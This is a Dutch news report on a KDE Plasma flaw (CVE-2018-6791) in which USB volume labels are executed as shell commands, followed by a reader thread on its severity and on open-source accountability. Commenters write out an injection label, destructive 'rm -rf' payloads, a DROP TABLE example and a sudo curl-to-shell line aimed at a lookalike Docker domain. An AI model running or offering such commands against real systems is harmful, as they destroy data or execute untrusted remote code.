KDE Plasma dicht lek dat uitvoeren code via usb-drive mogelijk maakt

Het team achter KDE Plasma heeft een lek in zijn desktopomgeving gedicht, waardoor een aanvaller met fysieke toegang code op een systeem kan uitvoeren met een usb-drive met een bepaalde formattering en een speciale naam.

De kwetsbaarheid doet zich voor als een gebruiker een usb-drive mount via de zogenaamde device notifier. Dat is een pop-up die verschijnt wanneer er een verwijderbaar apparaat wordt aangesloten. De melding geeft een aantal mogelijke acties weer die de gebruiker kan uitvoeren. In het geval dat de usb-drive met vfat is geformatteerd en het volumelabel aanhalingstekens of de symbolen $() bevat, wordt de naam als shellcommando gezien.

Dat betekent dat de naam $(touch b) bijvoorbeeld een bestand met de naam 'b' aanmaakt in de thuisfolder. Dit kan door een aanvaller met fysieke toegang tot een systeem misbruikt worden om zelfgekozen code uit te voeren.

Volgens de beveiligingswaarschuwing treft het lek met kenmerk CVE-2018-6791 softwareversies lager dan 5.12.0 van KDE Plasma. Een patch is dan ook beschikbaar in versies 5.12.0 en 5.8.9 van de software. Als gebruikers de patches niet kunnen uitvoeren, is er een workaround beschikbaar door verwijderbare apparaten via Dolphin te mounten.

Reacties (40)

[4tro]

Korte update:
Ik heb even geprobeerd met een affected KDE plasma.

En het werkt echt alleen als de persoon is ingelogd, niet het scherm gelocked heeft en de shady named USB stick mount via de device notifier.
Daarnaast execute het met user rechten. Dus lijkt me typisch gevalletje storm in glas water.

Is het netjes, nee. Is het extreem gevaarlijk, neuh....

[PLOSIE]

"rm -rf ." uitvoeren in home...

[4tro]

Dat kan je dus ook gewoon intikken aangezien je toch al achter een unlocked computer zit.

In het scenario van een gevonden USB stick, ga jij een USB stick mounten die als naam $(rm - rf .) heeft?

[The Zep Man]

Een voorbeeld van het klassieke probleem dat heet: 'Ik voer geen invoervalidatie uit."

Programmacode dat data accepteert van andere (onafhankelijke) programmacode moet altijd de invoer valideren. Idealiter verifiëren programma's ook hun uitvoer, maar daar kan je nooit van uitgaan.

[vliegendekat]

In dit geval was het genoeg geweest om de boel correct te escapen. Dit is dan ook exact wat de patches doen.
Zie: https://cgit.kde.org/plas...15c6ebad800af59e81ffb9212

[boudewijnrempt]

Het suffe is dat de oorspronkelijke code dat al deed, voordat iemand iets anders probeerde the fixen, in 2014:

@@ -160,11 +158,7 @@ void DelayedExecutor::delayedExecute(const QString &udi)

QString exec = m_service.exec();
MacroExpander mx(device);
-
- if (!mx.expandMacrosShellQuote(exec)) {
- qWarning() << ", Syntax error:" << m_service.exec();
- return;
- }
+ mx.expandMacros(exec);

KRun::runCommand(exec, QString(), m_service.icon(), 0);
deleteLater();

[egnappahz]

*deeply facepalms*

Dit is de simpelste manier van injectie die ik ooit heb zien werken in heel mijn linux carriere. Beschamend als je zo code uitbrengt.

Ik geloof dat ik ook ooit scripts heb geschreven met zo'n kwestbaarheid. Het was echter een van de allereerste dingen die ik testte... En ik ben héél ver verwijderd van professioneel development.

[DigitalExorcist]

Maar het is toch juist de kracht van open source software dat iederéén die code kan checken en het dus al lang bekend had moeten zijn?

(En dat is nou ook gelijk het zwakke punt: als iederéén er van uit gaat dat een ánder die code wel checkt, doet niemand het dus). Leuk dat de hele wereld kan bijdragen aan de code, maar er zijn maar weinig mensen die er écht verstand van hebben en ook juist dát stukje code controleren.

Er is in dit geval dus ook feitelijk niemand eindverantwoordelijk voor.

[indigo79]

Er is in dit geval dus ook feitelijk niemand eindverantwoordelijk voor.

Dat geldt voor (bijna) alle software. Enerzijds kan je er bij closed source software ook niet van uit gaan dat er ook maar iemand anders dan de programmeur grondig over nagedacht heeft en anderzijds ken ik sowieso geen weinig licenties waarbij de leverancier (en dan maakt het niet uit of het open of closed source is) ook maar enige verantwoordelijkheid neemt voor gevolgschade van fouten (in het beste geval beloven ze hun best te doen fouten binnen een redelijke termijn op te lossen, maar zelfs dat is eerder uitzonderlijk). Mogelijk bestaan er dergelijke contracten, maar dan gaat het over zeer specifieke software in zeer specifieke situaties en hangt daar uiteraard een bijhorend prijskaartje aan.

[DigitalExorcist]

Dát is ook weer zo. Kijk naar wat een puinzooi onze overheid (Belastingdienst, GGZ, gemeentes, DigiD...) er van weten te maken. Zij kopen hun spul in maar daar mankeert méér aan dan wat er uberhaupt aan werkt. Leverancier vindt het allemaal prima want die krijgen hun geld tóch wel...

Ik bedoel het meer algemeen. Als MS zo'n fout maakt kun je vrij makkelijk naar MS wijzen. Of naar Apple. Of Samsung. Of wie dan ook. Dat zij intern dan diegene eruit knikkeren die zo'n fout maakt is dan een logisch gevolg. Maar wat ga je doen met open source software? Die persoon uit een mailinglijst gooien voor straf? Aandelen kakken niet in, je kan eindeloos lang met vingers wijzen..

Dat een bedrijf verantwoordelijk *is* ergens voor, maar hun verantwoordelijkheid niet néémt is natuurlijk ook dramatisch.

[indigo79]

Ik bedoel het meer algemeen. Als MS zo'n fout maakt kun je vrij makkelijk naar MS wijzen. Of naar Apple. Of Samsung. Of wie dan ook. Dat zij intern dan diegene eruit knikkeren die zo'n fout maakt is dan een logisch gevolg. Maar wat ga je doen met open source software? Die persoon uit een mailinglijst gooien voor straf? Aandelen kakken niet in, je kan eindeloos lang met vingers wijzen..

Denk jij nu echt dat een programmeur bij Microsoft of Apple of Samsung of ... er voor een dergelijke fout uitgeknikkerd wordt? 't Zou mooi worden als we elke werknemer die eens een fout maakt gewoon aan de deur zetten. Nog los van 't feit dat je al vrij snel geen nieuwe werknemers meer zal vinden.

[DigitalExorcist]

Nou nee, ligt natuurlijk aan de ernst van het 'vergrijp'. Maar stel dat je beheerder bent van 'de' Azure omgeving, en je staat het toe dat iemand via Powershell op Azure inlogt (wat mogelijk is) en daar gewoon een "SELECT * FROM TABLE 'CLIENTS' | DROP TABLE" doet (ik ken de SQL commando's totaal niet, maar volgens mij betekent dit in essentie niet veel goeds), en dat zou vervolgens als SQL commando doorgevoerd worden. Dan ben je toch ernstig nalatig?

[indigo79]

Uiteraard dien je altijd alle externe (in de ruimste zin van het woord) inputs te verifiëren, maar om, wanneer dat niet gebeurt, dat direct 'nalatig' te noemen, vind ik toch wat kort door de bocht. In de praktijk zijn er ook nog werkdruk, telefoons, collega's die iets vragen, avonden en nachten tussen je werkblokken... die kunnen maken dat eens mens eens zo'n check vergeet.
En om nog enigszins bij het artikel te blijven, het gaat hier over het invoegen van een shell commando in een volumelabel, wat niet de meest in het oog springende input is, en wat dus zelfs bij het overlopen van een (zelfs uitgebreide) checklist wel eens onder de radar kan blijven. En steeds uitgebreidere testen komen uiteraard met een prijskaartje: een hobbyist heeft graag dat zijn hobby nog wat leuk blijft en een werknemer wordt betaald door zijn baas die dat geld (en liefst nog wat meer) bij zijn klanten haalt (en die waren altijd bereid iets meer te betalen om deze fout te vermijden, maar nooit om veel meer te betalen om die duizenden fouten die er niet zijn gecontroleerd te hebben)...

[batjes]

DROP TABLE 'CLIENTS'; is prima

[CAPSLOCK2000]

Ik bedoel het meer algemeen. Als MS zo'n fout maakt kun je vrij makkelijk naar MS wijzen. Of naar Apple. Of Samsung. Of wie dan ook. Dat zij intern dan diegene eruit knikkeren die zo'n fout maakt is dan een logisch gevolg. Maar wat ga je doen met open source software? Die persoon uit een mailinglijst gooien voor straf? Aandelen kakken niet in, je kan eindeloos lang met vingers wijzen..

Dat klinkt leuk, maar is het ook zo?
Hoe vaak heb jij gehoord van iemand die door MS/Apple/Google/... is ontslagen omdat ze zo'n fout hebben gemaakt? Hoe vaak nemen dit soort bedrijven nu echt verantwoordelijkheid? Hoe vaak heb jij gehoord: "Sorry voor de bug, hier is uw geld terug, we hebben de programmeur ontslagen."?
Ik nog nooit. Zelfs als het achter de schermen gebeurt dan zal de buitenwereld nooit precies weten hoe het zit.
Meestal is het antwoord zo iets als "Wij accepteren geen enkele verantwoordelijkheid, misschien dat we de bug in de toekomst ooit oplossen."

Dan de open source wereld. Daar is meestal onmiddellijk bekend die de code heeft geschreven en of/welke controleurs er naar hebben gekeken en welke code nog meer door zelfde programmeur is geschreven. Die mensen worden inderdaad niet ontslagen* maar nieuwe bijdrages zullen kritischer dan voorheen worden bekeken.


* Ik geloof overigens niet in het idee dat je mensen moet ontslaan als ze een keer blunderen. Fouten maken is menselijk. Als je mensen omslaat omdat ze een foutje maken dan houdt je alleen maar mensen over die niks doen, dat is namelijk de enige manier om geen fouten te maken. Iemand die keer op keer dezelfde fouten maakt en niks bijleert is wat anders, maar iedereen zal een keer z'n eerste grote fout maken.

[DigitalExorcist]

Dat laatste ben ik met je eens, maar je hebt ook zoiets als een corporate responsibility. Apple heeft laatst een kapitale fout gemaakt met het in kunnen loggen zonder root password oid. Dan ga je als organisatie écht niet zeggen dat het jouw pakkie-an niet is, we accepteren geen verantwoordelijkheid, zoek 't maar uit.

Of die programmeur ontslagen is of niet hoor je niet, merk je ook niks van verder, en ook de kwaliteitscontrole mag een schop onder hun spreekwoordelijke gat hebben. Daar gaat het ook niet om. Het gaat erom dat duidelijk is wie verantwoordelijk voor die software is. En hoe dat intern opgelost wordt verder is van minder groot belang. Als je als MS, Oracle, SAP of wie dan ook zó'n beveiligingslek hebt kun je niet zeggen dat het jouw probleem niet is en het lekker zo laten. En dat idee krijg ik van open-source wél.

[CAPSLOCK2000]

Als je als MS, Oracle, SAP of wie dan ook zó'n beveiligingslek hebt kun je niet zeggen dat het jouw probleem niet is en het lekker zo laten. En dat idee krijg ik van open-source wél.

Theorie en praktijk.
In dit geval heeft de KDE-community haar verantwoordelijkheid in ieder geval genomen.

Vergeet ook niet dat er een aantal commerciele organisaties gebruik maken van open source code, inclusief de bedrijven die jij noemt, MS, Oracle en SAP. Deze organisaties accepteren zo de verantwoordelijkheid over open source code voor hun klanten. Dat kunnen ze doen omdat het open source is en ze weten dat ze de bugs zelf kunnen oplossen als dat nodig is. Voor een closed source product kan dat niet. Als je bv Windows wil ondersteunen kun je voor bepaalde problemen niet om MS heen.

Als je als eindgebruiker zelf code van internet download, compileert en draait dan heb je inderdaad geen enkele garantie of zekerheid, maar de meeste mensen en organisaties werken zo niet, die krijgen hun software via een tussenpartij die de verantwoordelijkheid op zich neemt.

Ten slotte heb ik nog nooit een waterdicht contract voor software gezien. Alle bedrijven dekken zich in en houden een slag om de arm over welke fouten ze wel en niet repareren, hoe snel ze dat doen en hoeveel verantwoordelijkheid ze accepteren voor eventueel geleden schade. Harde boeteclausules zie je bijvoorbeeld bijna nooit.

[Reactie gewijzigd door CAPSLOCK2000 op 25 juli 2024 11:33]

[Dreamvoid]

Uiteindelijk gaat het erom hoeveel mensen, en hoeveel *goede* programmeurs ernaar kijken. Open source of closed source staat hier totaal los van, dat is vooral een ideologisch verhaal. De licensie garandeert helemaal niets over de kwaliteit van de code.

[egnappahz]

Er had alvast niemand mijn code moeten nalezen want ik had die bepaalde fout er zelf al uitgehaald. Je mag het voor mijn part een beetje "de kracht van debugging" noemen -- maar dat hoeft niet direct.

Ik was in dat geval feitelijk wel de hoofdverantwoordelijke, en had het gelukkig op tijd gezien.

[DigitalExorcist]

Ja dat snap ik wel, en tuurlijk zal iemand die zijn (m/v) code bijdraagt aan open source projecten zelf ook wel debuggen, maar je weet zelf ook dat code van een ánder vaak dingen aan het licht brengt waar je als programmeur zelf niet aan gedacht zou hebben.

Net als met betatesten; je eigen product testen is geen goed plan. Je hebt nou eenmaal bepaalde voorkennis van een product en je houdt daar bewust of onbewust toch rekening mee.

[Blokker_1999]

Natuurlijk, maar missen blijft menselijk. Er werd een foutieve functie aangeroepen die geen escaping deed terwijl er een vorm van die functie bestaat die dat wel diet. Zoiets lees je al eens over en zou bij het testen opgevangen moeten worden. Maar weer maar eens zien we het principe dat testen maar zo goed zijn als de mensen die ze bedenken.

[Neko Koneko]

Maar het is toch juist de kracht van open source software dat iederéén die code kan checken en het dus al lang bekend had moeten zijn?

(En dat is nou ook gelijk het zwakke punt: als iederéén er van uit gaat dat een ánder die code wel checkt, doet niemand het dus). Leuk dat de hele wereld kan bijdragen aan de code, maar er zijn maar weinig mensen die er écht verstand van hebben en ook juist dát stukje code controleren.

Er is in dit geval dus ook feitelijk niemand eindverantwoordelijk voor.

Dat iedereen de code kàn inzien betekent niet dat iedereen dat ook doet. De grote kracht van opensource is in dit geval wel dat iedereen de bug zelf kan vinden en indien over genoeg kennis beschikt, zelf een fix kan schrijven. Bij een closed-source systeem had je sowieso moeten wachten op een update van de leverancier, en als je pech hebt laat die er eerst veel tijd overheengaan of komt die update er gewoon nooit.

Het is echter niet zo dat er bij iedere opensource project een stel mensen continu elke regel code an het doorlezen zijn om dit soort dingen te vinden, dat is gewoon niet te doen.

[CAPSLOCK2000]

Maar het is toch juist de kracht van open source software dat iederéén die code kan checken en het dus al lang bekend had moeten zijn?

Nee. Je verdraait de stelling, zo wordt het een stroman. Niemand met verstand van zaken heeft ooit gezegd dat open code garandeert dat er geen fouten meer worden gemaakt, dat maak jij er van.

De stelling is dat open code het makkelijker maakt om fouten te vinden en te verbeteren, terwijl closed source dat moeilijk maakt.

Ik zeg toch ook niet dat de kracht van stoplichten is dat er nooit meer een ongeluk zal gebeuren.

[DigitalExorcist]

Ik zeg ook niet dat er geen fouten gemáákt worden, maar dat het de kracht van opensource is dat potentieel iedereen de code kan inzien en verbeteren.

Maar feit blijft dat als iedereen dénkt dat een ander dat wel doet, niemand het uiteindelijk doet.

[CAPSLOCK2000]

Ik zeg ook niet dat er geen fouten gemáákt worden, maar dat het de kracht van opensource is dat potentieel iedereen de code kan inzien en verbeteren.

Maar feit blijft dat als iedereen dénkt dat een ander dat wel doet, niemand het uiteindelijk doet.

Ik weet niet of dat hier wel van toepassing is. Sterker nog, ik denk dat deze code door verschillende mensen is bekeken. Volgens mij is het probleem meer dat een controle nog geen garantie is dat er geen fouten meer in zitten. Ook de controleurs maken fouten.

Gezien de geschiedenis van de code en de patch denk ik dat verschillende mensen hier naar hebben gekeken en het er toch door is gekomen. Van de andere kant... deze bug is uiteindelijk gevonden, je kan ook niet zeggen dat het helemaal niet werkt.

[matty___]

Ik wil niet weten hoeveel mensen dit soort code klakkeloos zouden voeren

$ sudo curl -fsSL get.d0cker.com | sh

[Reactie gewijzigd door matty___ op 25 juli 2024 11:33]

[Verwijderd]

Ligt eraan van welke source.

[matty___]

Ik denk als het in een readme op github van een bekend project zou staan dat het 99% al goed zou vinden.

[Schnupperpuppe]

In het geval dat de usb-drive met vfat is geformatteerd en het volumelabel aanhalingstekens of de symbolen $() bevat, wordt de naam als shellcommando gezien.

In plaats van aanhalingstekens zullen we wel backquotes bedoelen?

[mrdemc]

Strikt gezien dan dus een backtick Het staat namelijk los van het quote-principe binnen de shell-omgeving.

https://unix.stackexchang...backtick-mean-in-commands

[Schnupperpuppe]

Strikt gezien is een backtick hetzelfde als een backquote ;-)

[4tro]

Is dit uberhaupt mogelijk als iemand zijn scherm heeft gelocked?

Zo niet, dan kan je dit dus alleen uitvoeren als iemand zijn scherm niet gelocked heeft, dus een commando uitvoeren door die USB in te pluggen, of je kan em intikken op het keyboard....
Of je doet een drop van die prepared USB stick, en hoopt dat iemand em in de pc steekt, plasma heeft, en een mount doet.
En dan kan je nog alleen als die gebruiker iets doen? je kan ook een USB stick maken die zich identificeerd als toetsenbord, en commando's begint te tikken, (shortcut voor terminal indrukken (ctrl+t) en gaan met die banaan)

Agreed, als dit zaken uitvoert met een gelocked screen dan is het slecht. Maar dat zie ik niet terugkomen in de CVE

Overigens, mocht je je echt zorgen maken over usb devices die van alles kunnen: https://usbguard.github.io/ is een erg handig tooltje

[pizzafried]

dan nog.

"Hey, USB stick, leuk,geen idee van wie die is. Ff kijken wat er op staat.....niks...jammer...hey, mijn pc doet raar!"

[indigo79]

Als je klakkeloos onbekende USB apparaten in je machine plugt heb je sowieso een probleem. Je kan even goed een USB stick maken die zich als toetsenbord identificeert en zo commando's begint uit te voeren.

[batjes]

Veel mensen doen dat.

1 van de populaire manieren om in te breken op netwerken is nog altijd om rond een bedrijf of doelwit wat USB stickjes rond te strooien. De meeste mensen zullen als ze zo'n ding vinden, het gewoon in hun pc of laptop steken.

[tweaknico]

Of als internet router en je browser alvast opzet zodat alle access voortaan via een bepaalde proxy loopt.

[rubenvb]

Lijkt heel hard op de Windows feature van toendertijd waarbij de autorun van removable media ook een heftig misbruikte virus delivery vector was... Beetje stom dat ze daar niet aan gedacht hadden. Gelukkige is deze iets sneller opgelost geraakt dan die in Windows...

[Tetraquark]

begin een blog zou ik zeggen

[CAPSLOCK2000]

In de late middeleeuwen waren er wetenschappers en ambachtslieden die tegen dezelfde dilemma's aanlopen als jullie nu doen in het wereldje van de nullen en de eendjes. Die richten gildes op. Organen waar, een waar alleen, de kennis werd gedeeld en zo doende namen ze de verantwoordelijkheid om misbruik van hun kennis tegen te gaan of te ontmaskeren. Als jullie nu eens achter schermpjes vandaan kwamen en dezelfde ballen toonden als jullie voorvaders zouden jullie je kunnen organiseren en de eigen gildes kunnen oprichten. Met eigen gedragsregels en dergelijke. Compleet met uitsluitingen als sancties.

Het probleem is dat gildes alleen werken als er veel aanbieders zijn en weinig klanten. Als er meer klanten zijn dan aanbieders dan hebben de klanten namelijk niks te kiezen, die moeten blij zijn als ze iemand kunnen vinden om het werk te doen, ongeacht de prijs of de kwaliteit.
Een gilde werkt als je veel aanbieders hebt en weinig klanten. Dan kunnen de aanbieders zichzelf onderscheiden door lid te worden van een gilde dat kwaliteit garandeert. Je hoopt dan dat de weinige klanten die er zijn voor jouw product zullen kiezen. Als de behoefte zo groot is dat ze het toch wel kopen dan hoef je ook geen kwaliteit te leveren.

De verschillende "distributies" van Unix (Debian Linux, OpenBSD, etc) komen nog wel een beetje in de buurt van de gildes. Je komt niet zomaar bij zo'n club maar moet laten zien dat je een bepaald niveau aan kwaliteit kan leveren. Andere leden zien daar op toe en grijpen in als dat nodig is. Met z'n allen dragen ze de verantwoordelijkheid voor hun gemeenschappelijke product.